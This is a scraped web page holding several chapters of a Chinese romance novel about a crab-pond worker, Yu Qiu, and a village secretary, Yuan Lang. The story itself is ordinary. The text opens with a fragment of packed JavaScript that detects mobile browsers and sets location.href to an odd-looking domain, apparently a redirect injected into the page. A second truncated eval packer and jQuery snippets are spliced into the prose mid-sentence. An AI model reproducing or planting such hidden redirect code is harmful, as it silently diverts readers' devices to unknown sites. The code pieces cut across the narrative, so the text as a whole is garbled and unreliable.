l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812565|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光下的蟹塘。 他点开和余楸的聊天界面——上一条消息还停留在三天前,她公事公办地汇报工作,连个表情都没加。 手指在屏幕上悬了半天,最终什么也没发。 要解释吗?以什么立场? 更何况,那女人现在怕是巴不得离他远点。 原朗烦躁地把手机扔到床上,感觉脑袋要爆炸了。 她到底怎么想的?生气没有?还在生气吗? “艹。” 他什么时候,也开始在意别人的看法了? * 清晨的雾气还未散去,余楸刚推开家门,就被门前杵着的人影吓了一跳。 原朗顶着一对明显的黑眼圈,身上套着松垮的灰色睡衣,头发乱得像被台风刮过,整个人散发着低气压。 余楸的第一反应是——他没睡好吗? 随即又在心里骂自己:他睡没睡好关你什么事?没睡好最好! 还没等她开口,一个粉色的身影就从原朗背后蹦了出来。 “姐姐!我跟你一起去塘里吧!我帮你干活!”裴知意穿着休闲的T恤和短裤,活力四射地挥手。 余楸有些惊讶:“这个很累的,而且要上船,你确定可以吗?” “我不怕!”裴知意眼睛亮晶晶的,“我就想跟你一起坐小船!” 她突然凑近,“姐姐,今早可以直播吗?带上我呗~” “裴知意,”原朗冷声说,“大清早的直播谁看?万一你们哪个掉塘里,谁救?” 说完,目光不自觉地瞟向余楸。 裴知意会游泳他是知道的,但余楸——看她泡个温泉都能淹死的样子,实在让人不放心。 可是余楸今天偏要跟他对着干,于是欣然一笑:“好啊,我去拿套衣服给你,方便干活。” 原朗气得咬牙:“裴知意,你能不能消停点?她工作你打扰什么?” “还有你,余楸。裴知意年纪小不懂事,你25了,也跟着胡闹?” “秋秋姐都同意了,你管我!”裴知意做了个鬼脸,亲热地挽起余楸的胳膊。 “25很老吗?再老也不用你管。”余楸也呛他。 两个人欢天喜地往蟹塘走去,完全无视了站在原地脸色铁青的原朗。 晨风吹过,他盯着余楸的背影,想总金额刚才看到她短袖袖口下露出一大片结痂的伤痕。 这女人又在哪里磕伤了? 一天到晚连路都走不好,真是笨的没边了。 蟹塘边,余楸真的开了直播。 令她意外的是,虽然时间还早,但直播间居然零零散散进来了几百人。 “大家好,今天有位特殊嘉宾~”她将镜头转向裴知意。 “嗨!我是知意!”裴知意对着镜头灿烂一笑,“是秋秋姐的超级粉丝!今天来体验蟹塘工作啦!” 弹幕立刻活跃起来: 【哇!美女贴贴!】 【小姐姐好可爱!】 【这是新来的村官吗?】 余楸耐心地教裴知意如何巡视蟹塘、检查水质,又示范了如何撒饲料。裴知意学得认真,时不时发出惊叹:“原来螃蟹是这样吃的!”“这个仪器好厉害!” 弹幕被她的活泼感染: 【哈哈哈富家千金体验生活】 【知意妹妹好可爱!】 【秋秋教得好认真】 阳光渐渐强烈起来,两人的额头都沁出了汗珠。 直播结束后,她们回到塘埂上的铁皮小屋旁,发现木桌上放着两个保温桶。 裴知意眼睛一亮:“哎呀,原朗还算有良心,给我们做了早餐!” 余楸愣了一下,走近一看——保温桶里是香气扑鼻的牛肉面,还冒着热气。 “秋秋姐,快来吃!”裴知意已经坐下,招呼着正发愣的余楸,“原朗做饭可好吃了!” 余楸知道的,那碗清汤面的味道,她现在还记得。 只是今天这面,不太一样。 裴知意的碗里飘着翠绿的香菜。 而自己这碗,干干净净。 17. 不是不会疼人 例会刚结束,余楸抱着笔记本往家走,心里盘算着下午要去市里再进一批新饲料,这饲料不错,至少螃蟹没有出现不适症状。 阳光晒得人发晕,她抬手擦了擦额角的汗,突然被几个气势汹汹的身影拦住了去路。 “你就是余楸?”为首的中年男人皮肤黝黑,嗓门洪亮,身后跟着三四个同样面色不善的村民,“我们是青林村的,今天来找你讨个说法!” 余楸脚步一顿,目光扫过他们手里拎着的死螃蟹,心里已经猜到了七八分。但她还是平静地问:“几位叔伯,有什么事吗?” “什么事?”男人把塑料袋往地上一摔,几只僵硬的螃蟹滚出来,“你看看!用了你们村的饲料,我塘里的蟹死了大半!” “我们村的饲料?”余楸蹲下身,仔细检查死蟹的鳃部和腹部,“叔,您确定用的是我们晨阳村的饲料?” “就是你们新进的那批!”旁边一个妇女插嘴,“我男人前天晚上去你们仓库拿的!” 余楸眼神一凛,缓缓站起身:“我们仓库的饲料,什么时候允许外村人随便拿了?” 人群一静。 “这、这不是听说效果好嘛……”男人声音低了几分,“大家都是养蟹的,互相帮衬……” “互相帮衬,也该提前打声招呼。”余楸声音不卑不亢,“更何况,我们新进的饲料还在试用期,包装上明确写了''需按比例调配'',您直接拿来就用,不出问题才怪。” “你什么意思?”男人脸色涨红,“难道还是我们的错了?” “我不是这个意思。”余楸从包里掏出一份检测报告,“这是饲料厂的质检单,各项指标都合格。如果真是饲料问题,我们一定负责到底。但现在——” 她指了指死蟹,“这些蟹的鳃部发黑,明显是缺氧症状,应该是您塘里的增氧机出了问题。” “放屁!”男人一把抢过报告,“你们这些文化人就会糊弄我们!今天不赔钱,别想走!” 他上前一步,余楸下意识后退,却撞上了一个人——原朗不知何时站在了她身后,手里还拿着刚开完会的文件夹。 余楸心头一跳,以为他要说什么,可原朗只是淡淡扫了一眼现场,然后—— 直接走了。 他甚至没多看她一眼,背影冷漠得像个陌生人。 没良心的家伙。 余楸攥紧拳头,但很快把那口气压了下去。 “叔,”她深吸一口气,指向不远处的蟹塘,“如果您不信,现在就可以去我塘里捞几只蟹上来对比。如果真是饲料问题,我的蟹也该出状况。” 见对方犹豫,她又补充:“要是还不放心,咱们可以去县里的水产站做鉴定。真是我们的责任,该赔多少赔多少。” 她语气平和,眼神却坚定,几个村民面面相觑,气势明显弱了。 “老刘,”一个年长些的村民拉了拉为首的男人,“要不先去她塘里看看?” 最终,一群人跟着余楸去了蟹塘。捞上来的螃蟹活蹦乱跳,鳃部干净饱满,和青河村的死蟹形成鲜明对比。 “这……”男人哑口无言。 “叔,”余楸递给他一瓶水,“您回去检查一下增氧机,要是需要帮忙,我可以去看看。” 男人讪讪地接过水,嘟囔道:“那饲料钱……” “饲料就当送您了,“余楸笑了笑,“以后需要帮忙,直接来找我,别再''拿''了。” 一场风波化解。 回村的路上,余楸远远看见原朗站在村委会门口,似乎是在等她。她故意绕了条远路,心里那股委屈和火气怎么也压不下去。 需要他的时候装看不见,现在又来干什么? * 村口的窄路上,两辆车狭路相逢。 余楸开着林书记那辆漆皮斑驳的银色面包车,车斗里堆着空的饲料袋;对面是原朗那辆招摇的红色跑车,在阳光下亮得刺眼。 两辆车谁都不肯让。 余楸按了两下喇叭,原朗纹丝不动。 她无奈地降下车窗:“请让一让!” 原朗慢悠悠地摘下墨镜,露出戴着黑色耳钉的耳朵:“你怎么不让?” “我车上有饲料!” “我车上还有人命。” 余楸瞪大眼睛:“你——” 就这样僵持了十分钟,最终是原朗先让步,倒车让出半个车道。 她踩下油门经过时,用方言骂了句:“杠精投胎!” 后视镜里,打扮时尚的男人猛地捶了下方向盘。 “又骂我?!” 余楸买完饲料,看着时间还早,便去市里商场逛了一逛。自从回乡接手蟹塘,就几乎没有属于自己的时间了。 她想起原朗那副花枝招展的样子,再看看自己,心中不平。 靠!凭什么一个村官打扮得那么好看? “这件怎么样?”余楸对着镜子转了个圈,天蓝色的连衣裙衬得肤色白皙。 “很适合您!”店员笑着夸赞,“要不要再看看新款凉鞋?” 虽说是客套话,但余楸听着舒服。 ——尤其是有原朗这个鲜明对比之下。 她心情大好,一口气试了五六套,最后挑中两条裙子和一双鞋。 结账时一摸口袋,猛然僵住。 手机不见了。 她顿时慌了,翻遍所有口袋和包包,冷汗直冒:“不可能啊,明明放在这里的……” “小姐,一共568元。”店员笑容有些僵硬。 “那个,不好意思啊,我手机可能丢了,能不能——” “我付。” 一个熟悉的声音从身后传来。余楸回头,原朗不知何时站在店门口,晃着手机。 “不用你管。”她下意识拒绝。 原朗已经点开付款码,店员如释重负地收了款,将衣服叠整齐放进袋子。 余楸气得跺脚:“谁让你多管闲事!” “那你现在光着身子跑出去?”原朗挑眉。 “我倒是不介意看热闹。” 余楸:“……” 光你大爷! 出了店门,两人沿着步行街一前一后地走。 “真是晦气,”余楸拎着购物袋嘟囔,“买个衣服都能遇见你。” “这话该我说吧?”原朗冷笑,“某些人连手机都能丢,也不知道你这个硕士是怎么毕业的。” “我那是被偷了!” “哦?那怎么没把你人也偷走?” 余楸站住脚:“原朗,你是不是闲得慌?特地跟来市里就为了怼我?” “谁跟你了?别自作多情好吗?”原朗也停下,“我是来买零件的!” “零件呢?” “没买到。” 两人站在路中间大眼瞪小眼,引得路人纷纷侧目。 “前天例会,”原朗突然翻旧账,“我让你坐前面,你偏要躲角落,什么意思?” “我乐意!” “那昨天裴知意去塘里,你明知道她不会干活还带着她,存心给我添乱?” “你未婚妻自己要去的!” “我好心好意招待她还怪我咯!” “你今早骂我杠精?” “你本来就是!” 一个路过的大妈摇头叹息:“现在的小年轻,谈恋爱怎么跟打架似的……” 余楸瞬间涨红了脸,一旁的男人则是满脸无所谓的样子。 “行,这是在街上,我不跟你吵。” 谁知下一秒,却被几个女孩团团围住。 “啊啊啊是秋秋和原书记!” “真的是你们!我们是你们的粉丝,一直追着直播的!” 苍天啊,为什么每个粉丝都能撞见她的囧样啊! 清纯可爱渔家女的人设就这么难立吗?! 余楸硬着头皮打了招呼。 “秋秋姐,”女孩们的眼神里充满八卦的意味,“刚才,你和原书记是不是在……” “调情啊?” what! 她长这么大还没有跟男人调情过好不好啊!除了贺源。 但那是青梅竹马两小无猜啊,跟这个性质不一样。 余楸刚要开口解释,直接被打断。 “我们在讨论工作。”原朗一本正经。 “很激烈的那种。” 女孩们发出暧昧的起哄声,余楸恨不得找个地缝钻进去。 这男人就是故意报复自己! 余楸苦口婆心解释半天,发现好像没啥用,只能找个理由赶紧溜回停车场,却发现原朗的车就停在自己旁边。 她越想越气,从车里翻出记号笔,在原朗的主驾驶车门上画了只大乌龟,还配文:【王八蛋】。 “你这画得够烂的。” 余楸一惊,手里的笔都掉了。 原朗站在后方,手里拿着的,分明是她的手机。 是他偷走的?! 还是……他捡到了? 他哪有那么好心。 “本尊长这样,我自然就画这样。”余楸扬起脸,不甘示弱。 “粗心、莽撞、忘恩负义。” “余楸,你还有什么优点是我不知道的 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余楸心里奇怪但面上不显,只是笑着摆摆手:“没事,以后拿东西都说一声,也免了误会。” 送走客人后,母亲从厨房端出一篮刚煮好的粽子:“秋秋,给原书记送点粽子去。” 余楸扭头就走。 “我不去。” 母亲叹气:“原书记一个人在乡下不容易,过年过节也没个伴,很孤单的。” 余楸不以为然。 他有未婚妻陪着,有什么不容易的! 她心里反驳,却架不住母亲软磨硬泡,最终不情不愿地拎着粽子出了门。 原朗家的院门关着,似乎没人。 余楸本想放下粽子就走,却隐约听见院里有人在打电话。 她发誓,这是她第一次也是最后一次听墙根儿。 ——无他,就是针对原朗。 “李书记,我希望这是第一次,也是最后一次。如果再有村民跨村闹事,我会直接上报县里。”原朗的声音很冷。 电话那头似乎在解释什么,却被直接打断。 “余楸是晨阳村的干部,是我的同事。” “轮不到外人指手画脚。” 余楸愣在原地。 所以……是因为他,那些村民才来道歉的? 不对不对。 这只是原朗作为村支书的职责而已,不是特意为了她。 “听到了什么?” 院门突然拉开,原朗倚在门框上,目光落在她手里的粽子上。 “粽子,”余楸硬邦邦地说,“我妈非要送给你。” 男人微眯起眼:“你就不能说是你想送?” “不能。” 他轻哼一声,侧身让她进来。 客厅里,裴知意正盘腿坐在地铺上打游戏,看见余楸立刻欢呼:“秋秋姐!” 余楸目瞪口呆——原朗居然让未婚妻睡地铺?! 真不是个东西。 “看什么看,”原朗拎过粽子往厨房走,“她非要住我这,打地铺都是便宜她了。” 裴知意拉着余楸坐下,兴奋地聊起直播的事。余楸心不在焉地应着,目光时不时飘向厨房。 “对了秋秋姐,”裴知意突然问,“粽子是什么馅的啊?” “香菇肉粽。” ——她最喜欢的咸口。 “太好了!”裴知意拍手。 “原朗只吃甜粽子,这些都归我啦!” 余楸下意识看向厨房,却见那人正咬了一口肉粽,喉结滚动着咽下去,唇边还沾了粒糯米。 So?不是只吃甜的吗? 满嘴谎话的家伙。 院子里传来敲门声,余楸正好要回去,便起身去开门。 一个背着画夹的年轻男人站在阳光下,穿着浅色亚麻衬衫,鼻梁上架着金丝眼镜,整个人透着温润的书卷气。 他浅浅一笑,恍惚间,余楸好像看见了年少时那个美好的大哥哥。 肩膀被一只大手揽住,不由分说地带向身后。 原朗的声音几乎没有温度。 “把你妹领走。” “还有——” “告诉她,别整天把‘未婚妻’挂嘴边。” 他瞥见怀里人泛红的耳尖,一字一句道: “我不是不会疼人。” “只是——” “得看是谁。” 18. 糖 众人都是一愣。 陌生男人微微一笑,顺着原朗的话接道:“是啊。” “原少最会疼人了。” 余楸感受到肩膀上的手微微收紧,心跳顿时乱了节奏。 她侧头看向原朗,却见男人神色冷淡地移开视线,仿佛刚才那句暧昧不明的话不是从他嘴里说出来的。 “哥!你终于来了!”裴知意蹦跳着扑来,亲昵地挽住男人的胳膊,“这是秋秋姐,我跟你提过的!” 男人温和一笑,朝余楸伸出手:“久仰,余塘主。我是裴知路。” “你好。”余楸回握,在下一秒反应过来。 “啊!裴知路。” “你是那个画''渔歌姑娘''的画家?” “是我。” “天啊!我、我一直想谢谢你!” “真的特别感谢你……” “我饿了。”一个冷硬的声音打断他们。 余楸:“你不是刚吃了粽子?” “还饿。” “我、要、吃、饭。” 余楸有些为难:“你确定要吃我做的饭?” 原朗一时语塞,最终咬牙道:“等着。” 说完,他转身往厨房走去,裴知路轻笑一声,跟了上去。 裴知意拉着余楸在沙发上坐下,余楸还特意喊来了林小樱。三个女孩聊得热火朝天,而厨房里则是另一番景象。 原朗熟练地切着菜,刀工干净利落。裴知路站在一旁洗米,水流声哗哗作响。 “你对她很特别。” 原朗头也不抬:“谁?” “余楸。” “你想多了。” 裴知路轻笑:“你对知意可不是这样。” “那是因为知意太吵。” “哦?”裴知路随手拿起一个粽子,“我记得你不吃咸粽子啊。” 原朗“啪”地放下刀,眼神危险:“你怎么废话这么多?” “行行行,我不问了。” “不过……原少。” “你什么时候开始在意别人怎么看你了?” 原朗没有回答,转身去开火,锅里的油滋滋作响,扰得他心烦意乱。 客厅里,余楸时不时瞥向厨房。透过玻璃门,她能看见原朗和裴知路默契配合的身影——一个掌勺,一个备菜,偶尔交谈几句,竟然有些…… 人夫的感觉。 余楸被自己的想法吓了一跳。 “秋秋姐,”裴知意凑过来,神秘兮兮地问。 “你觉得我哥怎么样?” “裴先生?他很优秀啊,画画那么好,人也温和。” “那跟原朗比呢?” 余楸一时语塞,下意识看向厨房。 恰在此时,原朗抬头,隔着玻璃门与她对视。 火光映照下,他的眼神深邃而专注,仿佛整个世界只剩下她一个人。 余楸慌忙移开视线,喝口茶降温。 “原朗……” “不好。” 厨房门被推开的一刻,余楸差点没认出那个围着碎花围裙的男人是原朗。背后歪歪扭扭的蝴蝶结,与他冷峻的表情形成强烈反差。 “噗——”裴知意一个没忍住笑出声来,“原大少爷,你这造型挺别致啊。” 原朗面无表情地把一盘红烧鱼放在桌上:“再笑就别吃。” 裴知路端着清炒时蔬跟在后面,温润如玉的气质与厨房烟火气奇妙地融合在一起:“你就别笑话他了,原朗可是难得下厨。” 林小樱原本正帮忙摆碗筷,抬头看到裴知路的瞬间,手里的筷子“啪嗒”掉在桌上。 “抱、抱歉!”她慌忙弯腰去捡,耳尖红得能滴血。 余楸把这一幕尽收眼底,但还没来得及细想,就被裴知意拉到了餐桌前:“秋秋姐快尝尝,我哥和原朗的手艺可好了!” 五个人围坐在原朗家的实木餐桌旁,红烧鱼的酱香混合着时蔬的清新在空气中弥漫。余楸夹了一块鱼肉,鲜嫩的肉质在舌尖化开,带着恰到好处的咸甜。 “比你做的毒药好吃多了吧?” 原朗转头看着她,语气略带傲娇。 余楸最后还是“嗯”了一声,在做饭这件事上,她甘拜下风。 男人轻哼一声,却不动声色地把鱼肚那块最嫩的肉夹到了她碗里。 裴知路笑着解释:“我们大三的时候去国外交换了,经常自己做饭。原朗他看着不靠谱,其实很会照顾人。” 是吗?她怎么没看出来。 余楸撇撇嘴,恶狠狠地咬下那块鱼肚肉。 然后转向裴知路:“对了裴先生,你是来村里做什么工作的?” “叫我知路就好。” “其实我是被家里赶来的编外人士,破画画的帮不上什么忙,只能做做宣传工作。” “怎么会呢!”余楸放下筷子,“你的''渔歌姑娘''画得多好啊!要是能帮我们宣传蟹塘和渔歌文化——” “余楸。”原朗又又又打断她。 “你能不能擦擦口水再说话?见到帅哥就这么热情。” “肤浅。” 余楸瞪他:“我就肤浅怎么了?我喜欢看帅哥也碍着你了?” “就是就是!”裴知意立刻附和,“秋秋姐,那你理想型是不是像我哥这样的?” 理想型吗? 余楸的脑海中浮现出贺源的身影。 但她猛然发现,自己好像已经记不清贺源的脸了,只记得他身上那种温柔的气质。 所以大概率,还是像贺源这样的对吧,也是像裴知路这样的。 于是点了点头。 原朗默默放下碗。 烦死了,跟她在一起吃饭都不香了。 余楸把话题转到正事,柔声询问:“知路,明天我们要做一期特别直播,晨阳村野营采风,你也一起来,可以吗?” 裴知路欣然答应:“荣幸之至。” “那说定啦。” 五个人一起直播,肯定很有意思。 原朗……原朗没有意思。 * 回家的路上,月光把两个女孩的影子拉得很长。林小樱一反常态地安静,手指不停地绕着衣角。 “小樱,”余楸突然停下脚步,“你和裴知路...…” “认识?” 林小樱明显僵了一下:“你、你怎么知道?” “你筷子都拿不稳了,我又不瞎。”余楸促狭地撞了撞她的肩膀。 “快说,什么情况?” 林小樱的脸在月光下红得像熟透的苹果:“就是...…去年京大美院和我们学校联谊,他来做讲座,我坐在第一排。” “然后呢然后呢?” “然后我的笔掉了,他帮我捡起来...…”林小樱的声音越来越小。 “就这样。” “就这样?然后你就暗恋人家了?” “谁、谁暗恋了!” “我就是,就是觉得他画画的样子很好看...…” “那明天直播,要不要我帮你创造机会?” “别!”林小樱惊慌地摆手,“我、我不会追人。这样远远看着就好。 “傻丫头。”余楸揉了揉她的头发。 “喜欢就去追啊,你不试试怎么知道不可能呢?” 林小樱迎着余楸的目光,那样的温婉,像水一样包裹着她,她感觉自己的心都舒展了。 “秋秋,谢谢你。” “你也要试试哦。” “如果你喜欢原书记的话。” 余楸一时失神,半晌,结巴着应了一句。 “我才不试呢。” “我有喜欢的人。” “我不喜欢他。” 林小樱知道余楸说的是谁,她没有再说什么。 她知道贺源对余楸来说是特别的存在。 她也看得出来,余楸对原朗也是。 感情的事,她不懂,毕竟她自己都陷在暗恋的漩涡里。 她只懂一样,余楸一定要幸福快乐。 余楸也一样,她希望林小樱得偿所愿。 “小樱,给我画一幅画吧。” “和小路一起。” 两个女孩的笑声在乡间小路上回荡,惊起了路边草丛中的萤火虫,点点微光在夜色中飞舞,如同女孩的心事般闪烁不定。 * 晨阳村的清晨,湖面泛着粼粼波光,微风拂过芦苇荡,沙沙作响。远处的山峦在薄雾中若隐若现,几只白鹭掠过水面,荡起一圈圈涟漪。 湖边已经搭好了简易的野营帐篷,木桌上摆满了粽叶、糯米和各种馅料,五个人正忙着调试直播设备。 余楸今天换上了传统的渔家女装束——靛蓝色的对襟短衫,腰间系着一条绣有鱼纹的红色腰带,裙摆随着她的动作轻轻摆动。她的长发被一支木簪松松挽起,几缕碎发垂在耳边,衬得她肌肤如雪。 低头整理粽叶时,阳光透过树影斑驳地洒在她身上,整个人仿佛镀了一层柔光。 “秋秋姐今天也太好看了吧!”裴知意捧着脸夸张地赞叹,“弹幕肯定要炸!” 林小樱也穿着类似的装束,但 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裴知意适时冒出一句,又在收到原朗的眼神警告后表示闭嘴。 “来来来,包粽子!秋秋姐教大家包咸肉蛋黄粽!” 余楸拿起粽叶,手指灵活地折成漏斗状,一边示范一边讲解:“我们渔家的粽子,馅料一定要足,咸香浓郁,和湖鲜是绝配!” 原朗站在她旁边,虽然嘴上嫌弃,但手上却默契地递上她需要的材料。 余楸接过时,指尖不经意碰到他的手指。 两人都下意识地缩了一下,但又装作若无其事。 弹幕敏锐地捕捉到了细节: 【???刚刚是不是碰到了!】 【这两人气氛不对啊!】 【村官耳朵红了!我看到了!】 余楸假装没看到,偷偷瞄向身边的男人,他正专注地包着粽子。 还好还好,他应该没看到。 另一边,林小樱和裴知路安静地坐在一旁。 林小樱动作有些笨拙,粽叶总是散开,怎么都包不好。 “别着急,慢慢来。” 裴知路的手指修长,骨节分明,轻轻搭在林小樱的手背上指导。 “要这样折,压紧一点。” 林小樱不敢去看旁边的人,只结结巴巴道:“谢、谢谢裴先生……” 裴知路愣了一下:“小樱姐,你是不是认识我?” “啊?” “嗯,认识的。” “去、去年美院联谊,你来讲过课……” 裴知路眸光微动,似乎想起了什么。 “原来是你。” “怎么昨天没告诉我?” “我我我。”林小樱磕巴着,只说出一句。 “没好意思打扰。” 裴知路笑意更深,没再说什么。 直播进行到后半段,五人围坐在湖边,余楸拿起一把小琵琶,轻轻拨动琴弦,唱起了渔歌。她的嗓音清亮,带着水乡特有的婉转。 原朗坐在余楸对面,目光专注地看着面前的女人。 他恍惚发现,余楸看起来,挺显小的。 水乡女子,个子不高,身量又纤细。 五官清丽,不施粉黛,质朴而温婉。 像一朵出水芙蓉。 嗯……这样子,还挺好看的。 裴知路瞥了一眼原朗,忍不住低声道:“喂,收收你的眼神。你再这么盯着看,网友都要看出来了。” 说着,指了指疯狂滚动的弹幕,一眼望去,全是“磕到了”。 原朗收回视线,淡淡道:“我只是在听歌。” “别多想。” 直播结束后,大家都累了,索性围坐在帐篷边,一起过端午节。 余楸拿起一个粽子,默默放到对面的碗里。 原朗怔了一下,抬头。 余楸没看他,只是推了一碗白糖过来。 两人的目光不禁意间撞上。 一秒。 余楸先撇开视线,轻声说:“你不是不喜欢吃咸口的吗?” “怕你骂我。” 然后转头进了铁皮小屋。 原朗没说话,只是用筷子挑开粽子,是豆子馅的。他将粽子蘸上糖,咬下一小口,慢慢咀嚼着。 是甜的。 很好吃。 他喜欢。 19. 他想见她 晚饭过后,裴知路收拾好画具,走到林小樱身边,温声问:“小樱姐,要不要一起去写生?湖边的晚霞很好看。” 林小樱手指绞着衣角,下意识看向余楸。 余楸冲她眨眨眼,悄悄比了个“加油”的手势。 “好、好啊……”林小樱红着脸点头。 裴知意是个会看眼色的,随即站起身,夸张地伸了个懒腰:“哎呀,我突然想起来,我游戏挑战赛还没打呢!兄弟们等着我carry呢!” 她冲余楸挤挤眼睛,“秋秋姐,原大少,你们慢慢收拾啊!” 说完,拽起背包,一溜烟跑了,只留下余楸和原朗两个人站在湖边。 傍晚的风轻轻吹过,湖面泛着细碎的波光,远处的芦苇沙沙作响,偶尔传来几声蛙鸣。 余楸低着头,默默收拾着桌上的垃圾,动作比平时快了许多,像是急着逃离这个地方。 她能感觉到原朗的视线一直落在她身上,灼热得让她指尖发麻。 她伸手去拿他面前的易拉罐,指尖刚碰到冰凉的金属,手腕却突然被一把扣住。 男人的掌心温热,力道大得让她动弹不得。 余楸猛地抬头,正对上原朗漆黑的眼睛。月光下,他的轮廓显得格外锋利,眉头微蹙,眼神却比平时更深,像是压抑着什么情绪。 “余楸。”男人开口,声音低沉。 “你知不知道你真的很烦人。” 余楸的手指轻轻颤了一下,心脏像是被攥紧,又酸又涩。 她用力抽了抽手,没抽动,只能强撑着冷笑:“我知道啊。” “所以原大少爷还是离我远一点比较好。” 男人盯着她,嗤笑一声:“我真的搞不懂你。” “什么?” “这么大的人了还照顾不好自己,不是摔了腿就是磕了胳膊,跟疯子一样干活不知道吃饭,你想掏空自己吗?” “我从来没见过像你这么窝囊的人,别人都欺负上头了也不知道骂一句,还跟人捧个笑脸喊这个叔那个叔的。” “你要是跟所有人都这样那就算了,偏偏我一说你你就来劲,给我甩脸子。” “余楸。” “你是不是只会窝里横啊?” 他的语气又凶又冷,像一把小刀子,直直攮进心里。 余楸张了张嘴,喉咙却像是被什么堵住了,眼眶不受控制地发热。 过了好久,她才低低地说: “那还不是因为你讨厌我。” 原朗眉头皱得更紧:“不是我说你什么脑袋?” “我什么时候讨厌你了?” “你每天都在挑我刺,怼我,说我笨。”余楸的声音越来越轻,“但是,但是你又帮我出头,陪我直播,给我送礼物,让我欠你人情,让我觉得愧疚……” “原朗,我不喜欢这样。” “不喜欢像个傻子一样被你耍来耍去。” “你讨厌我的话,你就直说。” “求你了。” “余小秋,你都知道我会帮你、给你送礼物,那我还能是讨厌你吗?” “我吃饱了撑的吗?” 余楸不喜欢他这样大声的讲话,不喜欢他吼自己。 眼泪在眼眶里打转,她几乎是拼劲全力才让自己冷静下来。 “那你告诉我,你为什么只针对我一个人?” “你对村里的村民很有礼貌,你对小樱也很客气友好,你对知意、对知意……” “知意是你未婚妻,你对她好是应该的。” 她的声音几乎哽咽。 原朗沉默了一瞬,忽然松开她的手腕,抬手捏了捏眉心。 “余小秋,你听好。” “对村民好是因为我是村支书,对林小樱客气那是因为我跟她不熟。” “至于裴知意……” “她不是我未婚妻。” “她只是我好哥们的亲妹妹,我和她也算一起长大,有些感情,仅此而已。” 原朗盯着面前的女人,一字一句道。 “听懂了吗?” 余楸眨了眨眼,睫毛上还挂着细小的泪珠,在月光下泛着微光。她的眼睛湿漉漉的,像是蒙了一层水雾,鼻尖微红,嘴唇因为刚才的咬紧而显得更加嫣红。 原朗觉得胸口发闷。 他明明最讨厌爱哭的人了,为什么看到余楸哭,他脑海里只剩下唯一的念头—— 怎样才能让她开心起来。 “那我呢?”余楸小声问。 “你有把我当成朋友吗?” “你不是我朋友。” “你他爹的是我祖宗,行吗?” 湖边再次陷入沉默,只有风吹过芦苇的沙沙声。 过了好久,余楸才慢慢把手抽回来,低头看了看手腕——那里已经被他攥出了一圈红痕,隐隐发烫。 她转过身,飞快地抹了下眼睛,再转回来时,脸上已经恢复了平静。 “我不是你祖宗。”她轻声说,“我不想当老妖精。” 说完,弯腰把剩下的垃圾收拾好,拎起袋子,头也不回地走了。 原朗站在原地,看着她的背影消失在夜色里,半晌,才长长地呼出一口气,仰头看向湖面。 月光洒在水面上,碎成一片银色的光点,像是她刚才含在眼里的泪。 他烦躁地抓了抓头发,低声骂了一句。 他明明是想告诉她,别生气了。 怎么最后又变成这样了? * 余楸趴在床上,脸深深埋进枕头里,肩膀微微颤抖着。房间里没开灯,只有清冷的月光从窗外洒进来,在地板上勾勒出一片朦胧的银辉。 她咬着唇,努力压抑着啜泣的声音,可眼泪还是止不住地往下掉,浸湿了枕巾。 “咚咚”。 轻轻的敲门声响起,母亲温柔的声音从门外传来:“秋秋,睡了吗?” 余楸赶紧抬手抹掉眼泪,深吸一口气,尽量让声音听起来平静:“没呢。” “你晚上在湖边是不是把手腕磕到了呀?”母亲的声音带着关切。 “原书记给你送了药膏来,说是活血化瘀的。” 余楸低头看了看自己的手腕,红痕还未完全消散。 又是这样,又是这样。 都告诉他了,自己不喜欢这样忽冷忽热的感觉。 为什么,总是不把她的话放在心上。 “嗯,我知道了。” “先放外面吧,我等会儿擦。” 门外沉默了一瞬,母亲似乎察觉到了什么,犹豫了一下,才轻声说:“秋秋,睡个好觉哦。那我回房间啦。” 余楸听着母亲的脚步声渐渐远去,眼眶又热了起来。 她知道,母亲肯定看出来她不开心了。她最近真的太不对劲了,情绪起伏大,还总是让家里人担心。 而这一切的一切,都是因为原朗。 对,都怪原朗。 不怪她。 余楸越想越委屈,干脆从床上爬起来,赤着脚走到窗边,想透透气。夜风微凉,吹散了些许闷热,她深吸一口气,抬头望向窗外的夜色。 院子外的那棵老槐树下,站着一个熟悉的身影。 男人穿着单薄的衬衫,袖子随意地挽到手肘,低着头靠在树干上,月光勾勒出他修长的轮廓。夜风吹乱了他的头发,他的表情看不真切,可整个人却透着一股说不出的忧郁和落寞。 他怎么还在这里? 余楸下意识地攥紧了窗框,指尖微微发颤。 明明刚才在湖边还一副凶巴巴的样子,可现在站在月光下的他,却莫名显得,有点可怜。 这个念头一冒出来,余楸自己都吓了一跳。 她正发着呆,忽然,树下的人像是察觉到什么,缓缓抬起头。 余楸猛地缩回窗边,后背紧紧贴着墙壁,心跳如雷。 他看到自己了吗? 她捂着胸口,呼吸急促,脑子里乱糟糟的——她甚至都不知道自己为什么要躲,可内心深处,她就是不敢和他对视。 不知过了多久,余楸悄悄探头,可树下已经空无一人。 她的心像是突然空了一块,怔怔地望着那棵槐树发呆。夜风更凉了,她忍不住打了个寒战。 原朗穿那么少,会不会感冒啊? 她懊恼地锤锤脑袋,一把拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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原朗充耳不闻,手里的水枪开得老大,水流“唰”地冲在车身上,溅起一片水花。他动作又快又用力,像是要把什么情绪全发泄在这辆车上。 就在这时,院门被推开,裴知路背着画夹走了进来,脸上还带着未散的笑意。他刚和林小樱在湖边写生回来,心情显然不错。 一进门,他就看到原朗在院子里疯狂洗车,力道大得仿佛要把车漆都冲掉。 裴知路挑眉,用眼神询问自家妹妹:“他怎么了?” 裴知意夸张地做了个口型:“被老婆骂回来了。” 裴知路了然地点点头,走到原朗身边,饶有兴致地打量着他近乎自虐的洗车行为。 “哎我说,”裴知路忍不住开口,“你悠着点吧,这车马上要给你搓掉一层皮了。” 原朗没理他,继续闷头冲水。 裴知路耸耸肩,目光不经意间扫到主驾驶的车门——那里画着一只歪歪扭扭的小乌龟,旁边还写着“原朗大笨蛋”几个字,笔迹幼稚又嚣张。 “这谁给你画的?画挺像啊。” 原朗洗车的动作猛地停住,呆呆地看向车门上的乌龟画像,半晌,低声说了一句: “嗯,挺好看。” 